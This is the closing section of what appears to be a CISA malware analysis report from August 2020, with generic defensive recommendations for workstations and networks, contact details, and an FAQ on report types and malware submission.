- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

### **Contact Information**

- 1-888-282-0870
- CISA Service Desk

   (UNCLASS)
- CISA SIPR™ (SIPRNET)
- CISA IC™ (JWICS)

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# **Document FAQ**

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

**Can I edit this document?** This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk ...

Can I submit malware to CISA? Malware samples can be submitted via three methods:


- Web: https://malware.us-cert.gov
- E-Mail: submit@malware.us-cert.gov™
- FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.

# Revisions

August 19, 2020: Initial Version

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